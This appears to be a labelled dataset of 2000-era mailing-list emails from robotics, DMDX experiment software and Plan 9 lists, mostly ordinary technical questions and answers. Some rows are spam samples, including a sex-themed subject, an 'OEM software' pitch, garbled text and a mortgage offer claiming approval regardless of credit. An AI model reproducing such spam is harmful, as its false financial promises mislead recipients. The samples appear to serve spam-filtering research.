output driver) can handle. I am wondering whether I can use | this to driver a total of 5 IR leds, either in parallel or series. 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Patrick Hui http://www.robotstorehk.com -----Original Message----- From: Andrew McGeachie To: handyboard@media.mit.edu Date: Saturday, August 26, 2000 3:33 AM Subject: Lego RCX rotation sensor w/handyboard >apologies if this is a frequently asked question...i'm a newbie to this list. > >is it possible to hook up a Lego Mindstorms rotation sensor to the >handyboard? and if so, does anybody have good instructions for doing it? > >thanks. > >- andrew >",0,1 William ,DMDX@psy1.psych.arizona.edu,"Fri, 25 Aug 2000 03:33:09 +0400",She wants a better sex? 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The > indicator led circuitry that goes in parallel to the ir output uses a > 1Kohm resistor with one of the 2mA leds so I am assuming that if I use 5 > x 1K resistors (one for each output) to drive the leds at 2mA (approx) > the overall current going through the transistor should be about 12mA. > Could someone clarify this. > > Thanks > > John Hatton > johnhatton@email.com > ",0,0 Barry Brouillette ,handyboard@media.mit.edu,"Sat, 26 Aug 2000 15:23:19 +0000",Re: Lego RCX rotation sensor w/handyboard,"In lugnet.robotics.handyboard, Andrew McGeachie writes: >apologies if this is a frequently asked question...i'm a newbie to this list. > >is it possible to hook up a Lego Mindstorms rotation sensor to the >handyboard? and if so, does anybody have good instructions for doing it? > >thanks. > >- andrew The Expansion Board has inputs specifically for Lego sensors. In particular, I've used the rotation sensor and it works fine. You simply take a lego connector, cut the wire and put the HandyBoard connector on. Plug it in and you're ready to go. You need to load the module explego.icb. It gives you variables like lego1_counts, lego1_velocity, lego2_counts, etc. You simply access these variables in your program and that's all there is to it. We used the rotation sensors as wheel odometers. Hope that helps. Barry ",0,0 """Scarecrow C. Foreclose"" ",Millie <9fans@cse.psu.edu>,"Sat, 26 Aug 2000 17:13:22 -0400",Software,"Understanding 0EM software Software Compatibility....ain't it great? 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In the learning experiments I run, the basic task is to learn which stimuli get which labels. For example, it might be that the stimulus ""Sore elbow & blurred vision"" should be classified as ""Ailment A,"" whereas ""headache & blurred vision"" should be classified as ""Ailment B."" Every trial is, essentially, an N-alternative forced choice, and people learn what the correct choices are for different stimuli. On a given trial, the following should happen: A stimulus is presented along with a response prompt such as, ""Is this a case of A, B, C or D?"" The stimulus and prompt are visible until a response is made, or until some maximal allowed response time (e.g., 15 seconds). The response choice and time are recorded. The stimulus remains visible after the choice response, but the response prompt is replaced with feedback: ""Correct/Wrong. This is a case of A/B/C/D. Study this case, and press the space bar to proceed to the next case."" This remains visible for as long as the participant wishes, or until some maximal study time (e.g., 30 seconds). When the space bar is pressed, the study duration is recorded, a blank intertrial interval occurs, and then the next trial begins. How can this be done in DMDX? I've figured out how to do multiple choices, but beyond that I'm stuck (e.g., how to leave stimuli visible until a response is made or until a maximal duration is exceeded, etc.). Has anybody out there done this sort of experiment in DMDX? Thanks very much. --John -- John K. Kruschke, Professor Department of Psychology, Indiana University 1101 E. 10th St., Bloomington IN 47405-7007, USA mailto:kruschke@indiana.edu http://www.indiana.edu/~kruschke/ voice:(812)855-3192 fax:(812)855-4691 dept:(812)855-2012 ",0,1 Ana Lujan <400aharon@hideakifan.com>,handyboard@media.mit.edu,"Mon, 28 Aug 2000 19:09:59 +0500",RE: If you are studing or working ,"Dear Mr(Mrs), Iris!!. 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Or should I buy a PLC extraction tool and remove the IC and reinsert it? Anyone else run into this? I've been thinking about running some wirewrap wire from the port 3 to it destination, maybe a bad etch? ",0,0 John Hatton ,HB Mailing list ,"Tue, 29 Aug 2000 11:16:03 +0100",IR demodulator,"I have mounted the IS1U60 infrared demodulator on to the HB but I have realised that it can only recieve from a particular direction. Is it possible to mount another IS1U60 by connecting the leads to the same locations on the pcb via wires and then mounting the IS1U60 on the opposite side of the HB (ie. behind the LCD to recieve signals from behind the robot as well as in front). If this is possible, how many IS1U60 modules could you mount in this way ?, one on each side ?. Thanks John Hatton johnhatton@email.com ",0,0 Camille Ho ,DMDX@psy1.psych.arizona.edu,"Tue, 29 Aug 2000 05:59:23 -0200",ȸ����! ����� �ڱݹ���! ���� ���̻� �������� ������!,"Where we can hesitantly derive perverse satisfaction from our clodhopper.He called her Monica (or was it Monica?).Now and then, midwife for mourn paycheck near warranty. ",1,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 29 Aug 2000 09:51:22 -0700",[DMDX] Re: ," There are several things you can use to perform your experiment. First, a display will remain on the screen until a subject responds or is timed out, the feedback erasing the display. In your case if you want an additional study interval you might need to use some branching and have a separate item to display it which would gather another response in order to have it erased when the subject is finished or timed out. You'll probably need to be reprogramming the feedback between these item types (unless you make the negative feedback part of the item that displays the study interval, then you can set the DMDX negative and too long feedback to be blank) and also remapping response keys so the space bar can be used as a timed input key (if you don't use the spacebar as a request key then you can probably leave it mapped as a response key). Advanced users would wind up using macros to perform most of the repetitive stuff. At 03:44 PM 8/28/00 -0500, you wrote: >Dear DMDX Users: > >I would like guidance in generating DMDX item files for experiment in >learning. None of the examples on the web or in the help files shows a >learning experiment. > >(I only this week took the plunge into DMDX on Win98 as my primary >experiment-running environment, so I am completely new to DMDX. I hope >you will forgive my inexperience with the system.) > >In the learning experiments I run, the basic task is to learn which >stimuli get which labels. For example, it might be that the stimulus >""Sore elbow & blurred vision"" should be classified as ""Ailment A,"" >whereas ""headache & blurred vision"" should be classified as ""Ailment B."" >Every trial is, essentially, an N-alternative forced choice, and people >learn what the correct choices are for different stimuli. > >On a given trial, the following should happen: >A stimulus is presented along with a response prompt such as, ""Is this a >case of A, B, C or D?"" The stimulus and prompt are visible until a >response is made, or until some maximal allowed response time (e.g., 15 >seconds). The response choice and time are recorded. The stimulus >remains visible after the choice response, but the response prompt is >replaced with feedback: ""Correct/Wrong. This is a case of A/B/C/D. Study >this case, and press the space bar to proceed to the next case."" This >remains visible for as long as the participant wishes, or until some >maximal study time (e.g., 30 seconds). When the space bar is pressed, >the study duration is recorded, a blank intertrial interval occurs, and >then the next trial begins. > >How can this be done in DMDX? I've figured out how to do multiple >choices, but beyond that I'm stuck (e.g., how to leave stimuli visible >until a response is made or until a maximal duration is exceeded, etc.). > >Has anybody out there done this sort of experiment in DMDX? > >Thanks very much. > >--John > >-- >John K. Kruschke, Professor >Department of Psychology, Indiana University >1101 E. 10th St., Bloomington IN 47405-7007, USA >mailto:kruschke@indiana.edu http://www.indiana.edu/~kruschke/ >voice:(812)855-3192 fax:(812)855-4691 dept:(812)855-2012 >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > and Ken will then remove you from the list at his earliest > convenience. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Philadelphia isn't dull - it just seems so because it is next to exciting Camden, NJ. ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 30 Aug 2000 11:32:22 -0700",[DMDX] subject filter," I've changed the DMDX listserv subject filter, hopefully we'll not be getting posts with blank subject lines anymore. However there was an odd piece of code in there that had to get snipped that I can't for life of me figure out what it was for (that whole program didn't rank high enough to get comments), no doubt after a few posts we'll find out what it was for... -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The least experienced fisherman always catches the biggest fish. ",0,0 """John J. Curtin"" ",DMDX@psy1.psych.arizona.edu,"Wed, 30 Aug 2000 16:41:51 -0500",[DMDX] 16 bit output from PIO12,"I noticed in documentation on input/output with the PIO12 that the possibility of supporting a device with 16 bit output and 8 bit input was being considered. Does anyone know if this has actually be developed or is it still being considered. I have the need for more than 8 output bits to send condition triggers and also control an external device (a shock generator that itself requires an 8 bit code to set shock intensity). Thanks for any info. John John J. Curtin, Ph.D. Department of Psychology University of Wisconsin - Madison 1202 W. Johnson St Madison, WI 53706 office phone: 608-262-0387 lab phone: 608-262-5621 email: jjcurtin@facstaff.wisc.edu ",0,0 """John J. Curtin"" ",DMDX@psy1.psych.arizona.edu,"Wed, 30 Aug 2000 16:50:05 -0500",[DMDX] constant time response window regardless of reaction time,"I am putting together an n-back experiment and had a quick question for the list. I need to present a series of letters, record responses to each letters (button press) and present the next letter in the series a fixed interval after the offset of the previous letter. Basically a block of trials needs to have this timing letter (500 ms) response window (2000 ms) letter (500 ms) response window (2000 ms) . . . etc. It seems that I can specify a minimum time between letters by including a blank frame. However, this would lead to a total time between letters that varies based on the participant's RT (equal to blank frame duration + RT). Does anyone know how I can code the trials so that the time between each letter presentation is fixed (regardless of how long the RT to the letter is?) Thank you for any suggestions. John John J. Curtin, Ph.D. Department of Psychology University of Wisconsin - Madison 1202 W. Johnson St Madison, WI 53706 office phone: 608-262-0387 lab phone: 608-262-5621 email: jjcurtin@facstaff.wisc.edu ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 30 Aug 2000 18:24:30 -0700",[DMDX] Re: 16 bit output from PIO12,"At 04:41 PM 8/30/00 -0500, you wrote: >I noticed in documentation on input/output with the PIO12 that the >possibility of supporting a device with 16 bit output and 8 bit input was >being considered. Does anyone know if this has actually be developed or is >it still being considered. I have the need for more than 8 output bits to >send condition triggers and also control an external device (a shock >generator that itself requires an 8 bit code to set shock intensity). No, it hasn't been done yet. What's it worth to you? -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Zappa's Law: There are two things on earth that are universal: hydrogen and stupidity. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 30 Aug 2000 18:28:40 -0700",[DMDX] Re: constant time response window regardless of reaction time,"At 04:50 PM 8/30/00 -0500, you wrote: >I am putting together an n-back experiment and had a quick question for the >list. >I need to present a series of letters, record responses to each letters >(button press) and present the next letter in the series a fixed interval >after the offset of the previous letter. > >Basically a block of trials needs to have this timing > > >letter (500 ms) >response window (2000 ms) >letter (500 ms) >response window (2000 ms) So you set and . If you want it to wait for 2000ms regardless of how they respond you'll want , and you'll want a dummy display that lasts for 2000ms after the letter: +1 * ""A"" / / ; -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Zappa's Law: There are two things on earth that are universal: hydrogen and stupidity.",0,0 """John J. Curtin"" ",DMDX@psy1.psych.arizona.edu,"Wed, 30 Aug 2000 21:53:14 -0500",[DMDX] RE: constant time response window regardless of reaction time,"It appears that my last message was cut off (at least the email I received from the list did not contain the end of my previous post), so I will post it one more time. Sorry for the confusion. I am putting together an n-back experiment and had a quick question for the list. I need to present a series of letters, record responses to each letters (button press) and present the next letter in the series a fixed interval after the offset of the previous letter. Basically a block of trials needs to have this timing letter (500 ms) response window (2000 ms) letter (500 ms) response window (2000 ms) . . . etc. It seems that I can specify a minimum time between letters by including a blank frame. However, this would lead to a total time between letters that varies based on the participant's RT (equal to blank frame duration + RT). Does anyone know how I can code the trials so that the time between each letter presentation is fixed (regardless of how long the RT to the letter is?) Thank you for any suggestions. John John J. Curtin, Ph.D. Department of Psychology University of Wisconsin - Madison 1202 W. Johnson St Madison, WI 53706 office phone: 608-262-0387 lab phone: 608-262-5621 email: jjcurtin@facstaff.wisc.edu -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu]On Behalf Of John J. Curtin Sent: Wednesday, August 30, 2000 4:50 PM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] constant time response window regardless of reaction time I am putting together an n-back experiment and had a quick question for the list. I need to present a series of letters, record responses to each letters (button press) and present the next letter in the series a fixed interval after the offset of the previous letter. Basically a block of trials needs to have this timing letter (500 ms) response window (2000 ms) letter (500 ms) response window (2000 ms) ",0,0 """John J. Curtin"" ",DMDX@psy1.psych.arizona.edu,"Wed, 30 Aug 2000 21:59:18 -0500",[DMDX] RE: Re: constant time response window regardless of reaction time,"Thanks for the input. Sorry for the duplicate post. John John J. Curtin, Ph.D. Department of Psychology University of Wisconsin - Madison 1202 W. Johnson St Madison, WI 53706 office phone: 608-262-0387 lab phone: 608-262-5621 email: jjcurtin@facstaff.wisc.edu -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu]On Behalf Of j.c.f. Sent: Wednesday, August 30, 2000 8:29 PM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: constant time response window regardless of reaction time At 04:50 PM 8/30/00 -0500, you wrote: >I am putting together an n-back experiment and had a quick question for the >list. >I need to present a series of letters, record responses to each letters >(button press) and present the next letter in the series a fixed interval >after the offset of the previous letter. > >Basically a block of trials needs to have this timing > > >letter (500 ms) >response window (2000 ms) >letter (500 ms) >response window (2000 ms) So you set and . If you want it to wait for 2000ms regardless of how they respond you'll want , and you'll want a dummy display that lasts for 2000ms after the letter: +1 * ""A"" / / ; -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Zappa's Law: There are two things on earth that are universal: hydrogen and stupidity. ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email and Ken will then remove you from the list at his earliest convenience. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ====================================================================",0,1 """John J. Curtin"" ",DMDX@psy1.psych.arizona.edu,"Wed, 30 Aug 2000 22:16:54 -0500",[DMDX] RE: Re: 16 bit output from PIO12,"Just getting set up (been an assistant prof for about 3 weeks now), so I don't have a huge budget. However, I would be willing to pay what I can if that would make that revision happen. I have been a user of VPM (software by Ed Cook at U of Birmingham) for many years as a grad student. VPM is a set of assembly language macros and as such provides nice low level control of hardware such as IO boards. Downside was that it was difficult to teach others to code in it. Hoping to switch to a package like DMDX which provides improved stimulus presentation routines (VPM was initially designed for psychophysiological data collection, not stim display) but is easier to train my students to use. To really make the switch though, I need to be able to have better control over additional external devices. Let me know what your thoughts are. Feel free to email me directly and we can talk more. Thanks for your time. John John J. Curtin, Ph.D. Department of Psychology University of Wisconsin - Madison 1202 W. Johnson St Madison, WI 53706 office phone: 608-262-0387 lab phone: 608-262-5621 email: jjcurtin@facstaff.wisc.edu -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu]On Behalf Of j.c.f. Sent: Wednesday, August 30, 2000 8:25 PM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: 16 bit output from PIO12 At 04:41 PM 8/30/00 -0500, you wrote: >I noticed in documentation on input/output with the PIO12 that the >possibility of supporting a device with 16 bit output and 8 bit input was >being considered. Does anyone know if this has actually be developed or is >it still being considered. I have the need for more than 8 output bits to >send condition triggers and also control an external device (a shock >generator that itself requires an 8 bit code to set shock intensity). No, it hasn't been done yet. What's it worth to you? -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Zappa's Law: There are two things on earth that are universal: hydrogen and stupidity. ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email and Ken will then remove you from the list at his earliest convenience. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== ",0,1 Elias Farrell ,9fans@cse.psu.edu,"Wed, 30 Aug 2000 21:57:27 -0600",RERE:WE approved yours loan 9wb4i,"Dear Homeowner, http://usmortz.com You have been approved for a $ 449,986 house loan (2.9 fixed) This offer is being presented to you right now!. Your credit history is in no way a factor. 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I give students a Windows 95 super floppy boot disk with IC & dl on it (as well as software to connect to the network). They can't execute off of the hard disk or network, but they can store work on the network as well as the super floppy. The bottom line is, I can't get IC to work with W2K, so we go to W95. I haven't been even that successful with the thinkpad notebook computers. When I boot off the W95 floppy, the software complains that it can't find com2. The tech center said that the thinkpad uses 3F8 and IRQ4 for com2 which is not conventional. I changed the notebook to disable the infrared port (which normally uses 2F8 and IRQ3) and set com2 to that address and interrupt. The software quit complaining about not being able to find com2, but now claims that the handy board is disconnected and can't communicate with it. If anyone has any good suggestions, I am still open to them, but I am not optimistic. Worse yet for me is that next year the students will all have notebooks so neither the students nor I will be able to run the software unless I find a way out of this problem. Steve Mosiman ",0,0 okamoto@granite.cias.osakafu-u.ac.jp,plan9@granite.cias.osakafu-u.ac.jp,"Fri, 01 Sep 2000 15:40:37 +0900",[9fans] 3C509B-combo,"Hi I reported before that I had problem to boot 3C509B-combo ether card as a terminal. This is an old ISA card. Now, I have one more PC terminal from retired rhyolite CPU server, I tried it once more using this PC, and found very very silly mistake of myself. Previously, I named it as elnk3 or something, and today, I tried it as ether0=type=3C509 and got success. Kenji ",0,0 Cenk Uyan ,handyboard@media.mit.edu,"Fri, 01 Sep 2000 06:59:54 +0000","Re: Temporary solution for W2000, but not Notebook","Hi, I am assisting a Robotics course with the venerable HandyBoard, and have been having the same problem with the Toshiba, and ThinkPad laptops. With Toshiba though, there is no infrared as far as I can tell, and I can run and load the inital pcode with HBDL, through the only port, which is COM1. But when it comes to IC, I get an error saying ' Synchronizing with the board ' ' Board Not Responding ' One of my students brought a ThinkPad, and we couldn't get that to work either, now I know why.. Any input about the Toshiba is appreciated though.. Cenk Uyan Arizona State University Computer Science Dept. >From: ""Steve Mosiman"" >To: lugnet.robotics.handyboard@lugnet.com >Subject: Temporary solution for W2000, but not Notebook >Date: Thu, 31 Aug 2000 16:59:43 GMT > >This is essentially a status report telling what I've come up with as a >partial solution to to running the Handy Board in our new environment. I >have >not succeeded in getting IC to run under Windows2000 DOS. The labs now >have >machines with 120 MB super floppy drives. I give students a Windows 95 >super >floppy boot disk with IC & dl on it (as well as software to connect to the >network). They can't execute off of the hard disk or network, but they can >store work on the network as well as the super floppy. The bottom line is, >I >can't get IC to work with W2K, so we go to W95. > >I haven't been even that successful with the thinkpad notebook computers. >When I boot off the W95 floppy, the software complains that it can't find >com2. The tech center said that the thinkpad uses 3F8 and IRQ4 for com2 >which >is not conventional. I changed the notebook to disable the infrared port >(which normally uses 2F8 and IRQ3) and set com2 to that address and >interrupt. The software quit complaining about not being able to find >com2, >but now claims that the handy board is disconnected and can't communicate >with >it. > >If anyone has any good suggestions, I am still open to them, but I am not >optimistic. Worse yet for me is that next year the students will all have >notebooks so neither the students nor I will be able to run the software >unless I find a way out of this problem. > >Steve Mosiman Share information about yourself, create your own public profile at http://profiles.msn.com.",0,1 """John J. Curtin"" ",DMDX@psy1.psych.arizona.edu,"Thu, 31 Aug 2000 17:07:38 -0500",[DMDX] Digital VOX threshold calibration,"Was wondering the current method for setting threshold value for response using digitalVOX. Help files talk of VOX button in main DMDX dialog box, but I am guessing this is out of date as I don't see any such button. Couldn't find anything in TimeDX. Noticed that there has been much work on digitalVOX recently but couldn't find reference to new method for threshold setting in the listserv archive. Any lead would be appreciated. Thanks John John J. Curtin, Ph.D. Department of Psychology University of Wisconsin - Madison 1202 W. Johnson St Madison, WI 53706 office phone: 608-262-0387 lab phone: 608-262-5621 email: jjcurtin@facstaff.wisc.edu ",0,0 Alex DeLarge ,9fans@cse.psu.edu,"Fri, 01 Sep 2000 09:06:13 +0000",[9fans] Crazy idea but why not?,"I'm trying to install Plan9 on my main machine, which uses a GeForce256 SDR Graphics card, but AFAIK the chipset isn't supported. Does anyone know of a standard framebuffer driver for the plan9 installer so I can sort out my vgadb? Enclosed is my vgainfo.txt: aux/vga: controller not in /lib/vgadb 0xC0000 55 AA 4C EB 4B 37 34 30 30 E9 4C 19 77 CC 56 49 U.L.K7400.L.w.VI 0xC0010 44 45 4F 20 0D 00 00 00 6D 09 00 00 00 00 49 42 DEO ....m.....IB 0xC0020 4D 20 56 47 41 20 43 6F 6D 70 61 74 69 62 6C 65 M VGA Compatible 0xC0030 01 00 88 01 50 10 00 00 30 39 2F 30 39 2F 39 39 ....P...09/09/99 0xC0040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0xC0050 E9 BD 0C 00 02 11 2D 10 E9 3B 1D E9 43 1D 50 4D ......-..;..C.PM 0xC0060 49 44 58 00 5B 00 00 00 00 A0 00 B0 00 B8 00 C0 IDX.[........... 0xC0070 00 5B FF 7F 4E 56 00 04 01 D9 CE 00 01 01 10 02 .[..NV.......... 0xC0080 00 00 00 00 FE 07 08 09 6E 01 94 02 D4 01 44 02 ........n.....D. 0xC0090 B0 00 50 00 3E 15 71 28 D9 8B 33 8C C1 8C 76 8C ..P.>.q(..3...v. 0xC00A0 8A 8C 99 09 BC 09 01 8D 00 01 01 00 3F 3E 37 36 ............?>76 0xC00B0 4E 56 49 44 49 41 20 47 65 46 6F 72 63 65 20 32 NVIDIA GeForce 2 0xC00C0 35 36 20 42 49 4F 53 20 56 32 2E 31 30 2E 31 2E 56 BIOS V2.10.1. 0xC00D0 30 31 2E 30 34 0D 0A 00 27 00 00 00 00 00 00 00 01.04...'....... 0xC00E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0xC00F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ main->snarf vga->snarf vga->dump vga misc 67 vga feature 00 vga sequencer 03 00 03 00 02 vga crt 5F 4F 50 82 55 81 BF 1F - 00 4F 0E 0F 00 00 07 80 9C 8E 8F 28 1F 96 B9 A3 - FF vga graphics 00 00 00 00 00 10 0E 00 - FF vga attribute 00 01 02 03 04 05 14 07 - 38 39 3A 3B 3C 3D 3E 3F 0C 00 0F 08 00 vga apz 0 vga linear 0 vmf 25175000 vmdf 0 vf1 0 vbw 0 vga->init dbdumpmode type=vga, size=640x480x1 frequency=25175000 x=640 (0x280), y=480 (0x1E0), z=1 (0x1) ht=800 (0x320), shb=664 (0x298), ehb=760 (0x2F8) shs=664 (0x298), ehs=760 (0x2F8) vt=525 (0x20D), vrs=491 (0x1EB), vre=493 (0x1ED) hsync=0, vsync=0, interlace=0 vga->dump vga flag Fdump|Finit|Fsnarf vga misc E3 vga feature 00 vga sequencer 03 01 0F 00 06 vga crt 5F 4F 52 9F 53 1F20B 3E - 00 40 00 00 00 00 00 00 1EB 2D1DF 28 001EB1EC C3 -7FF vga graphics 00 00 00 00 00 00 05 0F - FF vga attribute 00 01 02 03 04 05 06 07 - 08 09 0A 0B 0C 0D 0E 0F 01 FF 0F 00 00 vga apz 0 vga linear 0 main->exits Thanks ever so much for your help - failing that, has anyone got an NE2000 card working on Plan9? -- Alex DeLarge Guven Linux at 0.03 ",0,0 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Fri, 01 Sep 2000 14:18:14 +0100",[DMDX] DMDX V2 timings (again),"Been installing Version 2 on some laptops. When I run the old version 1 TimeDX everything looks fine with no/very few multiple errors and certain errors. With Version 2 and the same settings (800,600,8, retrace at 16.453 ms), it looks very different with large numbers of both multiple time outs and certain errors. Is this again an error in the old version of TimeDX? Was the accuracy achieved with the old TimeDX spurious? Thanks. - Mike xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox Mike Ford MRC Cognition & Brain Sciences Unit [Ex Applied Psychology Unit] Tel: 01223 355294 ext 241 15 Chaucer Road Fax: 01223 359062 Cambridge CB2 2EF email: mike.ford@mrc-cbu.cam.ac.uk http://www.mrc-cbu.cam.ac.uk/personal/mike.ford xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox ",0,1 """John J. Curtin"" ",DMDX@psy1.psych.arizona.edu,"Fri, 01 Sep 2000 09:28:02 -0500",[DMDX] RE: Re: Digital VOX threshold calibration,"The Help files that I have for DMDX were last updated on 8-17-00. If it helps for future Help revisions, the mention of the VOX button in DMDX is in the DMDX help file in the module titled Digital VOX calibration. Thanks for the assistance. John John J. Curtin, Ph.D. Department of Psychology University of Wisconsin - Madison 1202 W. Johnson St Madison, WI 53706 office phone: 608-262-0387 lab phone: 608-262-5621 email: jjcurtin@facstaff.wisc.edu -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu]On Behalf Of j.c.f. Sent: Thursday, August 31, 2000 8:43 PM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: Digital VOX threshold calibration At 06:30 PM 8/31/00 -0700, you wrote: >At 05:07 PM 8/31/00 -0500, you wrote: >>Was wondering the current method for setting threshold value for response >>using digitalVOX. Help files talk of VOX button in main DMDX dialog box, >>but I am guessing this is out of date as I don't see any such button. >>Couldn't find anything in TimeDX. Noticed that there has been much work on >>digitalVOX recently but couldn't find reference to new method for threshold >>setting in the listserv archive. Any lead would be appreciated. > > It's under File / Test Vox. Sorry that reply was meant to be longer, in trying to check what the help files actually say on the subject I've discovered that the home machine's configuration goes through TimeDX like a dose of salts, can't time a video mode for love nor money. Bugger, more work to do there. In any event I remember put tons of stuff in the help files somewhere about all the enhanced vox stuff, perhaps you've wound up with the old help files? Especially seeing as I remember removing all sorts of refernces to the vox button as it's no longer there. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Zappa's Law: There are two things on earth that are universal: hydrogen and stupidity. ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email and Ken will then remove you from the list at his earliest convenience. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== ",0,1 Jason Parks ,"Alex Dang , Angie Cleaver , Brian and Jennifer Motter , Brian Hoover , Brianna de Brito , Buff Furman , Calvin Krug , Colleen O'Connor , Dan Parks , Greg Hayward , handyboard , Hank Carver , Jacob Bolotin , Jane Day , Jason Parks , Jeannie Leighton , Jeffrey David Parks , Jennifer Anderson , Jim & Annette Hoover , Julianna Goad , Kathleen McKenna , Kim Kranovich , Kimberly Kranovich , Larry Hoover , Larry Hoover , Lili Castillo , Linda Valdes , Megan Mc Elroy , Melinda Jeannine , Nicole Hoover , Owen Clements , Paula Parks , SHELLY BAILES , Tommy & Lois Reid , Topher Salinas , Truc Le , William Ribbs ","Thu, 31 Aug 2000 14:07:37 -0700",Hi all,"Dear Everyone, Nicolle and Jason have split up. The hoovjay@saber.net email account will end today. To email Nicolle use: hoover@math.ucdavis.edu To email Jason use: jtparks@flashcom.net I hope everyone is doing well, Jason ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 31 Aug 2000 18:30:59 -0700",[DMDX] Re: Digital VOX threshold calibration,"At 05:07 PM 8/31/00 -0500, you wrote: >Was wondering the current method for setting threshold value for response >using digitalVOX. Help files talk of VOX button in main DMDX dialog box, >but I am guessing this is out of date as I don't see any such button. >Couldn't find anything in TimeDX. Noticed that there has been much work on >digitalVOX recently but couldn't find reference to new method for threshold >setting in the listserv archive. Any lead would be appreciated. It's under File / Test Vox. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Zappa's Law: There are two things on earth that are universal: hydrogen and stupidity. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 31 Aug 2000 18:42:47 -0700",[DMDX] Re: Digital VOX threshold calibration,"At 06:30 PM 8/31/00 -0700, you wrote: >At 05:07 PM 8/31/00 -0500, you wrote: >>Was wondering the current method for setting threshold value for response >>using digitalVOX. Help files talk of VOX button in main DMDX dialog box, >>but I am guessing this is out of date as I don't see any such button. >>Couldn't find anything in TimeDX. Noticed that there has been much work on >>digitalVOX recently but couldn't find reference to new method for threshold >>setting in the listserv archive. Any lead would be appreciated. > > It's under File / Test Vox. Sorry that reply was meant to be longer, in trying to check what the help files actually say on the subject I've discovered that the home machine's configuration goes through TimeDX like a dose of salts, can't time a video mode for love nor money. Bugger, more work to do there. In any event I remember put tons of stuff in the help files somewhere about all the enhanced vox stuff, perhaps you've wound up with the old help files? Especially seeing as I remember removing all sorts of refernces to the vox button as it's no longer there. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Zappa's Law: There are two things on earth that are universal: hydrogen and stupidity. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 01 Sep 2000 10:00:30 -0700",[DMDX] Re: DMDX V2 timings (again),"At 02:18 PM 9/1/00 +0100, you wrote: >Been installing Version 2 on some laptops. When I run the old version 1 >TimeDX everything looks fine with no/very few multiple errors and certain >errors. With Version 2 and the same settings (800,600,8, retrace at >16.453 ms), it looks very different with large numbers of both multiple >time outs and certain errors. Is this again an error in the old version >of TimeDX? Was the accuracy achieved with the old TimeDX spurious? No, the error detection is flawless in both versions. It would appear that version 2 sometimes has trouble picking the right values for predicting the retrace as I discovered on the home machine last night. I'm still looking at it. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Zappa's Law: There are two things on earth that are universal: hydrogen and stupidity. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 01 Sep 2000 10:10:34 -0700",[DMDX] Re: Digital VOX threshold calibration,"At 09:28 AM 9/1/00 -0500, you wrote: >The Help files that I have for DMDX were last updated on 8-17-00. If it >helps for future Help revisions, the mention of the VOX button in DMDX is in >the DMDX help file in the module titled Digital VOX calibration. Ok, I missed that one, I'll whack it today. Looks like I updated the docs on the vox calibration dialog adding the enhanced features there but left the audio input section alone, they'll be updated shortly. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Zappa's Law: There are two things on earth that are universal: hydrogen and stupidity. ",0,0 andrey mirtchovski ,9fans@cse.psu.edu,"Fri, 01 Sep 2000 08:23:52 -0600",Re: [9fans] Crazy idea but why not?,"On Fri, 1 Sep 2000, Alex DeLarge wrote: > Thanks ever so much for your help - failing that, has anyone got an NE2000 > card working on Plan9? I do. Just configure it 